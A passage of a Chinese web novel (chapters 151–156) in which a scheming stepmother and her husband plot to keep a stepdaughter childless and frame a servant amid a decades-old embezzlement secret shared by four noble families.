《换亲嫁对郎,重生后她躺赢了》 第151章楚氏眼泪,四家渊源 她那个眼中只有家族的左相父亲楚霆孝很快就发现了端倪,为了把陆家唯一的后嗣牢牢地留在手里,不引起怀疑,不被人夺走,还要让陆家人满意,觉得这孩子没有受委屈。 要是把孩子养在外面,容易走漏风声,也容易薄待了这孩子,招来陆家的不满。 要是养在楚家,楚家当时并没有出生的婴孩,又不能充为下人之女……楚霆孝一锤定音,干脆让那个孩子顶替了她的亲生女儿,成为了夏明月。 既然已经错了,还错了这么多年,就这样吧。 送走了的亲生女儿也有了自己的生活,打扰她也未必就是好事儿,况且就楚氏看来,夏明月这边也是前途未卜的。 夏明月得到了她想要的有情郎,李玦袭爵,有楚、夏两家的支持,也早晚会实习,也就是说夏明月早晚会是侯夫人,过上让人艳羡的日子。 可是端侯府也就是李家是那一切的症结之始,陆、李、楚、夏这四家只要有一家出了问题,他们的富贵日子就得化为泡影,甚至还会受连累落罪,把亲生女儿认回来未必就是一件好事。 楚氏警告地看了乔嬷嬷一眼:“不要再提那个孩子,现在我的女儿只有月儿。要说再有一个,夏明嫣也能算半个,对她么,原是想着她嫁到端侯府去,能看住李家那一大家子。” “现在要靠月儿了,以她现在的样子,实在为难。等她再懂事些,我就把这当中的恩怨告诉她,她要想护住她的阿玦哥哥,就得看住她的婆母。” “夏明嫣那边既然已经换了亲,华家也没什么好盯着的,以后华侯即便能活,想必也是个废人了,够她忙的。她挡不了月儿的路,也不用看住谁,她若是掌了华家的中馈,以后就尽量让她帮帮月儿,帮帮老爷吧。” 夏明嫣这辈子无论嫁给谁,都是要给他们做垫脚石的,只要能拿捏得住她就行。 目前来看,夏明嫣没她想得那般听话、没主意,可是她说的她做得好在并没有危害到夏家和端侯府。 只要夏明嫣乖乖地做一个听话、为夏家长脸、热心帮助妹妹的好女儿、好姐姐,她不介意对她好一些,至少跟她做一对儿表面的母女。 乔嬷嬷点了点头,劝道:“其实让大姑娘早些生个孩子也没什么,她早些把钩翊侯夫人的位子坐稳,对咱们也有利。就算她不想帮着咱们二姑娘,她不可能不为了夏家和老太太着想。” “夫人,要是只为了让二姑娘高兴些,是不是也无须让大姑娘没有孩子?老奴不是为大姑娘说话,是担心华家那边发现了什么,这件事不好交代。” 楚氏看了乔嬷嬷一眼,冷哼一声:“她要是生个女儿也就罢了,生了儿子,华家那一大家子都得捧着她,你还能让她听咱们的话?” “只有她过得不好,才能总想着娘家是个依靠,想着有时候要靠着咱们,不然她是不会听话的。你可别忘了,李世子将来袭了爵,到底是武勋人家,还是得到军中历练一番,沾沾军功才好。” “老爷这儿不能公然安排,就算安排了,那些个从兵部给出去的位子上的人,哪个背后不是有神仙的,能让他白占了军功去?倒是华家,以后华侯不中用了,要扶持亲近的人,还能帮着说说话。” 关键是李玦是夏家的女婿,楚、夏两家直接出面,议论的人太多,要是再来几个御史参上几本,说不定这军功还要从严审定。 华靖离虽说是李玦的义兄,也算是沾亲带故的,可毕竟隔着一层,而且华家跟他们几家祖上交情不深,只是跟已故的夏老太爷一人有深交而已。 而军中多讲究同袍、兄弟之义,华靖离照顾他一下,也没什么人能说闲话。 况且华靖离从前在北疆对许多将士都有恩有义,现在他自己回不去了,那个华靖和也不会入行伍,这些恩义就一下子没了报答的地方。 到时候让他把本来要还到他身上的恩义,分一些到李玦身上,端侯府的底子就重新打起来了。 只要端侯府好了,将来陆家的情况也好转了,他们四家才能坐下来好好谈谈,把当年的那件事彻底摆平,才能彻底恢复从前的日子。 楚氏想到陆远山,她这么些年都没有和他通过信,不仅是因为担心被人知道他们藕断丝连,更是因为她无法面对他们之间的那一层关系。 她这辈子唯一爱过的男人就是陆远山,就算现在也是,可是她跟陆家和陆远山终究是隔着那桩秘闻和恩怨的。 当年最初的时候她并不知道这些,直到陆家因贪墨和治水不力被举发,陆家老爷登了相府的门,她才明白一切。 原来端侯府老侯爷当年挪用朝廷财库存银去倒卖海货亏掉了近半数存银,这件事跟陆家也有关系,不仅如此楚家、她的父亲楚霆孝才是真正的幕后主食,而楚霆孝的门生夏庸也从中受益。 整件事上先被挖出来的是老端侯,名为病逝,实为赐死,要不是那些海货和金银随着风浪沉入海底,而圣上对这一结果存疑,必须得留下老端侯的妻房和子嗣以便得到线索,不然端侯府恐怕会被举家发配。 之后被挖出来的是陆家这个同谋,也以别的罪名处置了,为官的处斩、下狱,其余人等流放北疆彭城。 但其实这背后真正的主谋是楚霆孝,陆家要求楚霆孝施以援手,楚霆孝不仅没有帮忙,还落井下石地把罪名都推到了他们身上,眼看着他们尽数流放。 楚霆孝安抚陆家说,陆家既然已经背下了这罪名,就索性都背下来,这样保住了楚家,将来或许还有可能重新起复他们,再将他们接回元京。 事已至此,陆家没有别的办法,这也的确是最好的处置方法。两家断了亲事,陆家去了北疆受尽苦楚,以待来日。 楚氏陡然知道真相,整个人都不知如何是好,一切都在父母的安排下进行,她只知道自己豆大的泪珠子在止不住地往下掉。 等到她嫁给了夏庸,她原以为这只是父亲麾下一个听话而平庸的人,没想到她没用多久就发现这是一个道貌岸然的虚伪小人。 第152章无可奈何 陆家出事之前,楚氏和陆远山就像是今时今日的夏明月和李玦,青梅竹马,情深意重,鸳鸯比翼,高调得恨不得让元京所有人都目睹他们的幸福。 因此陆家被发配之后,两家立刻断了姻缘,几乎瞬间引起了热议,她若是不出家或远走避祸,就得立刻找个人家嫁出去。 楚氏当时已经没了主意,一切都被楚霆孝推着走。 而且当时楚家也在风口浪尖上,楚氏很想说当年四家联手做下的事儿跟她没有关系,那时候她还只是一个孩童,她根本什么都不知道。 可是她又不能否认,她拥有的一切都来自于楚家,来自于她父兄操纵下的阴谋诡计,她还舍不下元京的繁花富贵。于是,她转而接受了父亲对她的安排,嫁给了楚家扶持的人——夏庸。 夏庸是楚霆孝扶持的人,原本也是不能小觑的,寒门出身凭他自己就做到了吏部侍郎,跟在楚霆孝身边后,他一开始也是老老实实地忙着自己的差事的。 不过那时候楚霆孝就在府里跟他们这几个做子女的说过,夏庸这个人,要是用得好,还是很有用处的。 就好比除了南北疆,大恒已经安定了下来,之后朝廷定然要把各个军侯府的府军收归朝廷,以后有了需要,再由兵部授予虎符、令牌和粮饷,再行出征。 各个侯府的侯爷可以保留爵位,另外派给差事,也可以守着爵位荣养,只要不再碰原本的府军就行。 可是这个侯爷和侯府以及他们的府军能答应吗?谁都不会轻易答应,更不会没有意见。 如此闹起来,几方角力,一时间不会有个结果。这个问题要想解决,起码要花费两三代人的时间。 在这中间,兵部尚书这个位子上要坐一个可以平衡各方势力、能够左右逢源的人,这个人不能有什么大的作为,看起来不能跟这些军侯抗衡,不管出于何种居心,只要能将圣人的意思稳稳地、一点一点地推进下去就行。 夏庸文官出身,在吏部时便主管禁卫军和各州护城军统领的任免,他没有军功,为人细致,却能办好督办粮草、督造武器和器物的差事。 关键是他这个人没什么大作为,却能够左右逢源,即便是跟吏部尚书有过节的那几位难缠的大人,每次去吏部找麻烦,由他接待,都能被摆弄得平平顺顺的。 楚霆孝选定了夏庸,本就想着再用点别的法子拉拢他,从前便想过联姻,那时候陆家还在,他便做了收个远房侄女当义女的打算。 而夏庸这时候也展现出了他对兵部尚书之位强烈的欲望,他不仅要坐上去,还要坐稳了,也有意与楚家联姻。 陆家出事,让一切都水到渠成,楚氏嫁给了夏庸,夏庸也从吏部调任兵部之后升为尚书衔。 楚氏原本觉得她与夏庸的婚姻不过是一场互惠互利的交易,他们会共同孕育子嗣,会在场面上共同应对,但谁跟谁都没有太深的关系,谁也不强求谁贴心贴肺。 可后来她发现事情没有这么简单,夏庸娶她,心态上完全就是帮助楚霆孝和楚家解决掉了一个麻烦,在她面前他倨傲、冷漠。 而在陆家在彭州安顿下来之后,夏庸反而派人去看了他们,处处用陆远山跟他自己做对比,还经常明里暗里地贬损楚氏,说如果没有他,楚氏现在就是一个流放的贼婆。 楚氏的婚事当初对夏庸没有半点隐瞒,他是知道情况,又接了楚霆孝抛下来的高枝儿,才娶了她。 这才多久,他就原形毕露了?楚氏倒也理解他会这样想,那他们分开过日子好了,她给他纳了妾、找了通房,可他依旧坚持一定要跟她一起过日子,非要跟她生下个嫡子嫡女不成。 好在后来夏登云和她的那个来不及取名字的亲生女儿降生了,夏庸大概以为陆家人再也回不来了,总算是把心踏下来一些,他们总算能相敬如宾了吧。 结果楚霆孝这时候把全部真相都告诉了夏庸,夏庸为了事情不败露,也为了拥有更好的前程,他开始设想将来能接楚霆孝的班儿。 于是,他开始折腾起他的亲生女儿夏明嫣来了,借着蛊医之乱和她的手,把夏明嫣送回卢阳老宅抚养,以便将来能替他看住端侯府。 好啊,他既然这样想,她就要坏了夏庸的事,她以楚家的名义请了女师负责教导夏明嫣,明面上什么都教了,背地里却是让她成为一个表面多才实则根本派不上用场的人。 这样的人,将来如何能完成他的心愿?他就等着大失所望吧。 而楚氏自己在夏家抚养着自己的一双双生儿女,谁知道竟然等来陆远山托付心腹,将夏明月偷着送进了夏家。 楚氏生产之时,夏庸并不在元京,朱老太太又病得很重,这两个人都没有亲眼看过她刚生下不久的孩儿。也就是这样,给了他们换子可乘之机。 可是夏家并不是楚氏一人独大的,府里尽数都是夏庸的心腹,要是直接把夏明月和她的女儿一起养,算上夏登云,正院里就有了三个孩子,轻易就能被人发现。 可要是把夏明月直接送出府去养,万一被人发现,可就惹下麻烦了,而且那时候夏明月的病势又急又凶,府外难以调用最好的医者和药材。 她才想到了先把亲生女儿送出去,待到夏明月治好,再把她们两个换回来,把夏明月安置到心腹家里去做个养女。 可谁知道这件事硬是被楚霆孝发现了,导致了之后流落在外的反而成了她的亲生女儿。 要说对待代替了她亲生女儿的夏明月,她恨吗?她恨不起来,那会儿要不是身边有了这另一个女儿,她压根挺不过来。 而且这不得不说她把从前对陆远山的一部分感情投射到了夏明月身上。 那时候变故来得太突然,陆家做主的是陆远山的父亲和伯父,他们两个在那之前都一无所知,他们都是无辜的。 可是在这中间,楚家对不起陆家,陆家的男丁包括陆远山在内,原本是有机会到哲州充军的,是楚霆孝断了他们的后路。 第153章单刀直入 楚氏永远忘不了陆远山离开前的那一晚,她偷跑去大牢里看他,他看着她一言不发而痛彻心扉的眼神。 那一刻,楚氏什么都明白了,她欠陆远山的,这辈子都欠他的,这笔债永远都换不清了。 因此在她见到夏明月的时候,她明明知道这是陆远山和别的女人生下的孩子,她还是毫不犹豫地接纳了她。 因为这是爱,是亏欠,更加是债!她要替她自己,她的父亲和她全家还上这份债! 她这些年没有再去试着联系陆远山,是担心被人发现,引出那桩惊天密事,也是因为她将陆远山的所有记忆都定格在了分别那日。 她知道流放到彭州那种苦寒之地,活下去都难,那里有那么多的恶人恶事,他无论如何都不可能再是从前的陆远山了。 她就让有关他的记忆、印象一直停留在分别时他还没有被那些黑暗沾染之时,之后无论他在彭州做了什么,变成什么样子,跟哪个女人生了孩子延续血脉…… 这一切的一切都和她没有关系,他永远都是她记忆里的样子。 乔嬷嬷看到楚氏露出痛苦的神色,一下子就明白了过来,她已经有经验了,楚氏这会儿定是又想到陆远山身上去了。 这大姑娘也是倒霉,当年蛊医一脉也卷进了那件旧事,尽管他们大概什么都不知道,可是毕竟是蛊医翘楚,万一哪天就从别人那里知道了呢? 夏庸这才将大姑娘索性送回了卢阳,经过十几年的观察,确定没有人旧事重提才放了心,把人接回来。 乔嬷嬷叹了一声道:“夫人,要用华家,要不然还是让老爷去跟大姑娘说吧。他们是亲父女,那件事本来就跟夏家有关系,让他去说,夫人就别当这个恶人了。” “老奴瞧着大姑娘将来说不准是个有作为的,要是夫人对她好些,说不定她自己就帮着咱们二姑娘了呢?再说了,让她留在卢阳十几年的是老爷,又不是您。” “您是有对不住她的地方,可兴许把事儿推到别人身上,提醒她早点调理身子,这事儿能过去呢……万一这事儿还没补救就露了,就是老爷也会像夫人发难的。” 楚氏看了乔嬷嬷一眼,微微冷笑:“用她是一定的,华侯在北疆威名赫赫、故交无数,陆家现在要想过得好些,将来要想回来,他们是帮得上忙的。” “你以为我现在告诉她一切,她就会不记恨我了么?这十几年,养着她,吊着她,让她知道我是她回到元京的唯一指望。” “她就这么熬着熬着竟然把这份指望误以为是对母亲的依恋了,这样正好,还能拿捏她一阵子。等她反应过来了,她也陷得深了,就算跟咱们翻了脸,也不得不听命于咱们。” “嬷嬷,你都活了一大把年纪了,怎么连这个道理都不懂?她过得好了,心结打开,帮不帮的就全凭她的心意了。只有拿捏着她,才能保证她一定为咱们做事。” 她看了眼那匣子里的果仁酥,“连带着其他东西送过去吧,就说前些日子月儿在赏花宴上扫了她主人家的面子,我替月儿向她赔礼了。” 夏明嫣现在跟华家人一起闭门不出,华家的消息外人一概不知,现在她这个做母亲的主动送了礼过去赔罪,为人子女,不亲自回来说明,就该被人说是不孝了。 “什么赔礼?你要送礼去钩翊侯府?” 夏庸走了进来,外面没有下人通传,想必都被打发了,也不知道他听了多久,“让我看看,都准备了什么?” 绸缎、首饰、药材、香料……夏庸只是大略看看,他的目光停留在最后那匣子果仁酥上,他竟然拿了一块儿要放入口中。 果仁酥里的药有碍女子生育,对男子的身体也有损害,可整个过程中楚氏和乔嬷嬷都没有想过阻止他。 果仁酥并没有入口,夏庸在鼻息处闻了闻,便道:“破血之药,不是天生天养的,像是提炼多次所得,要坏妇人身孕。” “这是给明嫣的,她有身孕了?这个时候……华侯的伤就算好转了,也不至于如此着急。” 不管华靖离的伤若是要大好了,便不会这么急着留子嗣,怎么也得再将养上几个月再说。 华靖离若是就要不行了,要立刻张罗着留子嗣,那就不可能只有夏明嫣一人,华家这几日该在张罗着纳妾才对,可是钩翊侯府一点动静都没有。 尤其是夏庸这话让人怎么回答,难道让她们二人说这是给你长女准备的么? 不知道该说什么的时候就闭嘴不说,楚氏装作要起身也要过去查看一番,没有开口。 乔嬷嬷代主开口,急忙解释道:“这不是给大姑娘准备的,是给她身边的小娘的。大姑娘年轻,没心眼儿,只知道一味地大度、显贤良,不知道这当中的厉害。” “夫人便替大姑娘备下了,怎么说也得让咱大姑娘先生下嫡子不是?老爷可别多心。” 夏庸没有回应,只是玩味地笑了一下,之后就把那块果仁酥重新放回了匣子里,还亲手把盖子盖上了。 楚氏眉眼一动,心里咯噔一响,揣测着他的用意:“行了,别解释了。我的确不想让嫣儿太早有子嗣,她身子不好,还是再调养几年比较好。” “况且华侯这伤究竟能不能好还未可知,万一有个什么,嫣儿的日子不好过了。这没孩子的话,还可以想法子周旋和离,万一有了,还怎么好提这个话?” “当日换嫁时,月儿说的那些都是好话,只是好话都是些不好听的……为了以后打算,还是晚两年要孩子比较好。就算让妾室抢先生了儿子,那也是庶子,嫣儿晚些生,也是嫡子。” 夏庸平日里是个爱睁一只眼闭一只眼、和稀泥的人,眼下却没有任何迂回,而是单刀直入地道: “她这时候不生子嗣也好,况且她的身子不是在卢阳的时候就坏了吗?她一进门就生个孩子出来,对谁都不好。” 第154章夏庸什么都知道 夏庸对楚氏坦露自己的谋算:“当日初定下由明嫣嫁入端侯府,就是想让她盯住那对母子。她若是早早有了孩子,一颗心偏到了李玦身上,她还怎么能盯得住他们。” “若是嫁入钩翊侯府,她这时候生了儿子,华侯府的那些可就要把她捧到天上了。华家一旦有了子嗣,后继有人,这兵权就更不会交了。他们一定会拖着,拖到这孩子长大能入军中之时。” “虽说府军收归朝廷一事没有几十年办不成,可这中间也不能没有一点进展。若是能借此时机将华家军收归,让华侯荣养,这才是大功一件。” “到时候圣上满意了,我的位子稳了,岳丈大人就更稳了,之后想更有把握能平安致仕,两位舅兄也有更大的把握入阁。” 当今大恒朝廷实行的是宰相与内阁并行制,楚霆孝之后圣上不打算再设宰相之位,要以内阁彻底取而代之。 楚霆孝致仕,当朝一品大员要想平安地荣归故里,后续接替他的人必须是为他扫尾的,不能揪着从前的错处不放。 只有接手之人是令他放心的人才能做到,那么两个儿子中有一个能够入阁,女婿能够继续稳坐兵部尚书,无疑才能更有把握的完成他的部署。 而且圣上如今已经七十多岁了,再过上几年太子谢维即便不能继位也会出面监国,到时候刚好可以把牵扯他们四家的那桩旧事揭过去,而他们都要做新朝的宠臣。 那么华靖离就不可以跟谢维走得太近,得先夺了他的华家军,谢维才没有拉拢他的理由。 “留我跟老爷说说话,你先下去歇着吧。” 乔嬷嬷一听脸色就变了,楚氏下颚一撇,示意她退下,然后才有些尴尬地道, “老爷竟然知道?既然如此,我也不瞒着了,她是原配嫡女,我若不压着她些,将来明月该怎么办。况且她母家杨氏一族是蛊医翘楚,她若是万事顺遂了,蛊医势必会被重提。” “万一他们查到了什么,不止是夏家,这四家都得遭难。要是老爷怪我害了她,我受着便是了。” 夏庸在楚氏对面的椅子上坐下,背向后靠着,半眯着眼,老神似的道:“杨家舅兄时常去老宅看她,你就不担心他给明嫣把个脉,看出来?” “杨郎中的医术已然不如其父,于妇人之道上更是没什么钻研。况且就算他精通此道,我找的这法子也是从旧朝宫中高人那儿得来的。” 楚氏看着自己依旧细腻的手背道,“不过,我也没想到,这一瞒就是十几年。也是咱们大姑娘听话,我让她不得行医,尤其不能用蛊医之术为自己看诊,否则会连累家族声誉。” “她真的很听话,我听那几个女师说,她平时会听杨郎中讲医书,可是并不曾修习,即便她自己偷着练,没有病患给她看,她也练不出什么。” “她自己发现不了,杨郎中到底是男子,见她身子康健,又是在夏氏内宅,总不好成天拉着她号脉,这事儿也就瞒下了。” “不过,老爷,这可是你的长女,你不怪我?还有,你是什么时候知道的?” 夏庸一改平日里温和、老成的样子,变得精明而刻薄:“我出身寒门,娶杨氏时不过是一个举人,那时母亲重病,命我定要尽快与杨氏成亲。” “我从书院回来,只知道杨家是杏林翘楚,并不知道他们是蛊医。也是我平常不关注医术,又忙于功名,婚事都交给母亲和族人张罗。成婚之后半年,我才知道杨家的这个‘医’是蛊医。” “要是早知如此,我根本就不会娶杨氏……夫人自小出身高门,想必也清楚蛊医在世人心中是什么样的,令人望而生畏啊,有这样的妻房,我一入仕,如何与同僚、同侪说起。” 想起亡妻,夏庸神情复杂,杨氏是一个温柔贤淑的女子,她的柔美,世间女子少有,若她不是杨家女,就更好了。 夏庸看了楚氏一眼,楚氏出身高门,她的美中透着一股凌人的盛气,艳丽而夺人,而杨氏是那种如水般的女子。 杨氏本身没有多少修习医术的天分,是杨家这一代里唯一的女儿,也是唯一几乎没有修习过医术的杨氏后嗣。 后来他才知道,他的父母为了供他入书院拜名师为师和科考,欠下了大笔银钱,而杨家想给这个不会从医的小女儿找一个有功名的读书人作为归宿,又刚巧救过他的母亲,便促成了这门亲事。 杨氏一族虽为蛊医,寻常人并不能接受,民间以蛊医治病的甚少,可是达官贵人遇上疑难杂症、下毒陷害之事很多都会请他们去诊治。 因此杨家在民间虽不招摇,钱财上却绝对不缺,他们成婚之后,帮夏家还清债务、资助夏庸科考都不在话下,他也着实过上了一段富庶而安稳的日子。 可是他是一个大志向的士子,从前读书时妻房只要贤良淑德的良家女子便好,可一旦为官,尤其是进入户部之后,他开始真正意识到,即便自己的妻子没有做错任何事,也是可以被人用异样的眼光看待的。 世人多不了解蛊医,甚至有人以为蛊医就是邪术,以为蛊医行医就是在行巫蛊之术。他那些个同僚、同侪偶然得知杨氏出身于蛊医杨家,连带着对他都避之唯恐不及。 女子行医即便是正统的良医,在大恒也是末流,属于下九流的三姑六婆之一,而蛊医更是如此。 好在杨氏自己几乎不懂医术,也明白这些道理,难得自己的夫婿仕途一片谈吐,自夏明嫣满周岁能说话开始,她自己就叮嘱着女儿看些医书打发时间、学些常识可以,但是行医绝对不行。 也正是因为杨氏给夏明嫣种下了根深蒂固的观念,她才在被楚氏要求后没什么挣扎地依言而行。 夏庸叹了口气:“那时候我动过跟杨氏和离的心思,让她带着明嫣回杨家去,索性就让明嫣改姓,做杨家的女儿。” “她这个身世,也就是嫁到行伍之家,否则哪家不会忌惮。后来杨氏过世,留下她,你嫁了进来……即便没有你,我也会送她回卢阳。” 第155章一劳永逸 夏庸继续道:“既然父女的名分断不了,那便让她离开元京避一避,日子久了,就算还有人记得她的母家是蛊医,也念着她可怜了十几年,不会跟她计较。” “不然谁家有一个习过蛊医的儿媳妇,谁不害怕、不猜忌?这么做也不能说不是为她好,你叮嘱她不能行医,不算错。” 他笑了一声,“卢阳那边住着二房,经常有人捎信回来,你那几个女师对她教导严厉、动辄得咎,初时我只觉得大概是不想让她行差踏错,离杨家人近了,跟那些蛊医纠缠不清,做出有辱家声的事。” “后来还是柳小娘的一句话点醒了我,她说夫人即便要做一个贤良的继母,也不必对明嫣如此严厉要求。而且让明嫣学读那么多书、学那么多管家之道,又有什么用呢?” “老宅那么个地方,将来婚嫁要是也在卢阳,明嫣学那么多,能用的上么?就算能用的上,她成日里只学不练,将来嫁到别人家里去,看着好像什么都懂,一动手却做什么都不行。” “这还不如干脆做个愚笨的,什么都不会,省得做不好了被人说……你看,她都这么明白。” 读诗书、学琴棋书画,无论男女,都是死读书,是要了解现在时兴什么的。 就好比男子要看近两三年的科考三甲文章、最新的策论,女子有最新的琴谱,女红也是要学时兴的图样和针法。 夏明嫣在卢阳老宅,各种东西都学得扎实,但各方面都很老旧,等到真要用时,不仅容易被人嫌弃,容不进妯娌和高门的圈子,更有甚者时间久了,她会缺乏追寻、学习新事物的能力。 而那些管家、看账的本事,其实将来身为主母,不必事事亲力亲为,很多东西只要懂得就可以了,更重要的是驭下之术,主母要驾驭诸多的心腹、管事儿,让其他下人们心服即可。 窝在老宅里,老宅的家由二房担着,待她就像客人一样,她学的再多,没有练过手,也没有人教授她那些人情世故的勾勾绕绕,学了也不过是纸上谈兵。 柳小娘是夏庸后来纳的瘦马,无儿无女,肚子里除了吟诗作赋那套也没太多墨水,可道理却很通透。 当时夏庸问她为何会想到这些,她说的是好比楼子里的那些花娘,琴艺舞技最好的未必是最叫做的,如何待客、如何卖弄风情很多时候才是关键。 楚氏冷笑:“算她有点见识,你也别怪我,我算是尽了责了。要是早知道老爷厌弃了她,她根本不可能压过月儿,我也不必使这些手段了。” 夏庸没再隐瞒自己的用意:“那些女师对她百般责罚,我便起了疑心,夫人能求得大隐之士的秘法,我虽未得此法,但能通过一些医者了解些大致的端倪。” “我不必知道她们究竟是怎么做到的,只要知道大致事情会怎样就可以了。我之所以没说什么,也是不想她带着杨家的血脉坐大。要知道她对杨家表面客客气气的,看着没有多亲密,实际上只要一个契机,他们就会亲密无间。” “往日种种,我不欲与夫人计较。如今华侯养伤,他若是能挺过眼前这一关,之后很可能会寻杨家人为他调养、祛毒,要是再生下子嗣,华家继续坐大,她也不必再听你我吩咐了。” 他顿了一下,加重了语气,“不过,夫人有没有想过,这药只能起一时之效,你若常送吃食过去,迟早引起华家人的怀疑,被看出来了,这种事总是不美。” “况且华侯也还会有别的妾室,有了庶子记在她名下也是一样的。在华侯交出华家军之前,华侯都不适合有子嗣……夫人既然做了,就该考虑得更周全些。” 夏庸说完起身就走,根本没给楚氏留下反应的时间。 乔嬷嬷刚刚一直在门外听着,这会儿进来了,她跟楚氏对视一眼,二人眼里都有着震惊和尴尬。 楚氏看向自己的奶嬷嬷:“他什么意思?这是让我一劳永逸、永绝后患?还想让我把钩翊侯府的那些妾室也……” 不拦着她们给夏明嫣用药,担心夏明嫣生下嫡子后腰杆儿硬了,不听话、不好拿捏了。更是担心华家有了后嗣之后,不肯将华家军交归兵部。 这两者孰轻孰重?当然是后者,换句话说,夏庸最担心的不是夏明嫣有了子嗣,而是华靖离有了子嗣。 他最后说的那些话,什么庶子也是可以记在夏明嫣名下的,这就说还让她们给华靖离的妾室、通房下药? 别说楚氏到底还没到丧心病狂的程度,就是她想这么做,现在连华靖离的妾室、通房是谁都不知道,这药让她怎么下。 更让楚氏和乔嬷嬷震惊的是,夏庸远比她们从前了解的还要狠,还要无耻。 主仆二人沉默了很久,乔嬷嬷先开了口:“老爷想得也不无道理,就算没有大姑娘,要是华家更好了,华侯的位子坐得更稳了,长远来说对端侯府那边是不利的。” “要想端侯府放下旧事,就得恢复他们往日的爵位和李家军的荣光,相爷和老爷都说过,朝廷不会再增加新的军侯了,那多一个李家军,就得没一个谁。” “如今近水楼台先得月,要是华家军能归了兵部,说不定端侯府那边就有机会了,平了他们那口气,对四家都好。” 当年的事被陆家和端侯府承担了下来,保住了楚、夏两家,把柄在人家手里,夏、楚两家又不能将这两家彻底除掉、夺回证据,就只能顺着他们的意思来。 尽管他们的要求不容易办到,时移世易,也不大合理,可这是没有办法的事。 而且现在毕竟夏家和端侯府成了亲家,要是端侯府真能重建李家军,取代华靖离和华家的地位,对夏家也有好处,尤其是对夏明月好。 更何况就算不能坏了华家的事儿,他们也算是有所行动了,对端侯府也算有个交待。 楚氏眉头深锁:“可是华家要是真到了留子的地步,一定会多买些人进府,防得了这个,防不了那个,要想一劳永逸,除非……” 第156章嫁祸于人 乔嬷嬷一脸菜色地道:“那就只能给华侯下药……万一被发现了,恐怕华家不会放过您和夏家。” 这无疑是一个疯狂的想法,可是只有华家不顺,后继无人,他们才有可乘之机。 当年夏家老太爷还在的时候那件事就已经发生了,也正是因为这样才定下了孙女和华家的亲事,当时没有指定谁嫁过去,也是因为两个孙女都还小,看不出性情,不知道谁适合哪一家才能担下相应的责任。 不过,夏老太爷到底跟夏庸不是一类人,他所想的担下责任的方式不是这种龌龊的手段,而是一种斡旋,只是他没有想到,时至今日,其中一段姻缘会用到这样的手段。 楚氏筹谋地道:“这件事不能由咱们出手,还是得换个人动手。要是能让咱们这位大姑娘起了嫉妒之心,再弄巧成拙害了华侯最好。若是不行,让她身边的人动手再嫁祸到她头上也行。” 现在夏明嫣变精明了,这条路很难走得通,还是得再想法子变通一下,她又斟酌了一下, “若是连她身边都插不进针去,让一个妾室动手也行。你觉得那个画扇如何?之前跟霞姑姑一起卖进矿里了,现在咱们用着霞姑姑的路子跟彭州那边联络,她们母女还算乖顺。” “母女两个都在矿里,也不好拿捏,到不如把一个放在眼皮子底下……明嫣这孩子心软,毕竟画扇服侍了她那么久,让画扇哭一哭、求一求,就能回她身边了。” “事情办成了,要是被华家发现了,正好把画扇推出去,要是能全身而退,也不妨让她回府里来。” 画扇毕竟服侍了夏明嫣十几年,谁的不能说因为偷窃细软的事儿,她们就什么关系都没有了。 被发现了,就算从证据上来说都只是画扇一个人做的,也不能说夏明嫣就没有嫌疑,总会有些普风捉影的话传她因妒生恨、谋害自己的夫君。 要是画扇成功栽赃了夏明嫣,华家不可能公然对外说华靖离以后就没有子嗣了,又碍于夏、楚两家的情面,不会把夏明嫣休弃或送官,最多就是把她送到家庙里坐冷板凳,夏家的颜面还依然在。 画扇事败,死了也就死了,左右霞姑姑的路子已经到手,人又在矿里嫁了人,也翻不出风浪来。 要是画扇功成身退,正好回夏府来留在她身边,能更好地拿捏霞姑姑,也能当作心腹教一教。乔嬷嬷毕竟年纪大了,许多事儿都力不从心了。 “还是夫人想得周全,老奴这就去。”乔嬷嬷立刻着手安排把画扇接出来。 乔嬷嬷一走,屋里就又只剩下楚氏一个人,独子夏登云跟她彼此都不亲,夏明月出嫁之后,她这儿是越来越冷清了。 这让楚氏不由得想起钩翊侯府赏花宴那天发生的事,那孩子不知怎么的,中间回来过一次,问她府里有没有发生事。 那孩子竟然完全不知道那时在她的夫家端侯府正在发生什么,她什么也没说,只说让她没什么事就回府去吧。 唉,这种事让她怎么说,虽说端侯府刚娶妻就纳妾不厚道,可谁让这中间掺合着那件事呢? 要是为了护着夏明月,她就去端侯府大闹一场,激怒了何夫人那头恶狼做出什么,夏明月要受的苦可比承受丈夫纳妾之苦要多的多啊。 再说了,李玦将来是要做端侯、重建并统领李家军的人,怎么可能只守着她一个,这都是早晚的事。 说到底何雨萍只是何夫人的侄女,家里有点势力也是些做台面下事情的人,以后李玦还可能有出身高门的贵妾,她还怎么忍? 楚氏当下便决定要让夏明月回去自己面对,学会成长,特意嘱咐了她一番,让她遇事镇定,不要心急,他们正在尽力说服各方势力一同支持李玦袭爵,切勿闹出笑话,回去之后一定要想法子维持住端侯府上下的和睦和体面……也不知道她回去之后怎么样了? 话说赏花宴那日,夏明月与陈丽莹、白玉凤发生口角之争之后,夏明嫣让她回府,她误解成了要回夏家一趟,见无事发生,又来找夏明嫣麻烦,一通阴阳怪气之后,劝华靖和退出御青书院的擢选。 夏明月被夏明嫣的态度压了一头,又因为“破落户”旧日好友陈丽莹和穷亲戚白玉凤的“背叛”怄了一肚子的气,一路上都在想之后要怎么才能让这二人甚至是这两家人还回来。 马车走在端侯府的路上,先是在外面跟着马车走的巧兰发现了不对劲儿。 巧兰一开始只是略微有些疑心,就对着车夫闲问了几句: “地上怎么这么多红纸和花瓣?是有人成亲吗?怪了,这条路是回咱们府上的,也没听说张大人、王大人、曹大人家里要办喜事啊。” 那些个红纸,是炮仗留下的,花瓣很多都被人踩得透出了汁液,显然刚刚有很多人在此围观。 这条路上除了端侯府就是这几家了,就算是其他人家迎亲路过这里,也不会在别人家门口闹这么大动静,因此只能是这几家。 何夫人这些年深居简出,老端侯那件事寂静无声了这么多年,许多人见再无事发生,便觉得已经没事了,毕竟谁也不知道老端侯当年搬空了大半朝廷的饷银去炒海货。 因此近些年也有些人家开始恢复和端侯府的往来,邀请何夫人列席各府的筵席,何夫人大多数时候都会推拒。 可是夏明月不一样,当年的事儿跟她没关系,她也不知道那些事儿,而且她年轻,正是张扬的年纪,她刚一嫁过来就给周围的这些府邸递了帖子,表示谁家要是有事都可以来找她。 要是这几家有人结亲、办婚仪,她身为端侯府的世子夫人、不久后的侯夫人和宗妇,怎么会不邀请她? 车夫听了之后连驾车的动作都僵住了,到底是不大会掩饰的人,只能尴尬地装糊涂: “这……小的也不清楚,可能是谁家放了爆竹除秽?小的就是个赶车的,真不清楚各家的往来。” 夏明月在马车里听到他们的话,也想给自己除一除秽气,将小窗上帘子打起来,朝外面望去,想要透透气。 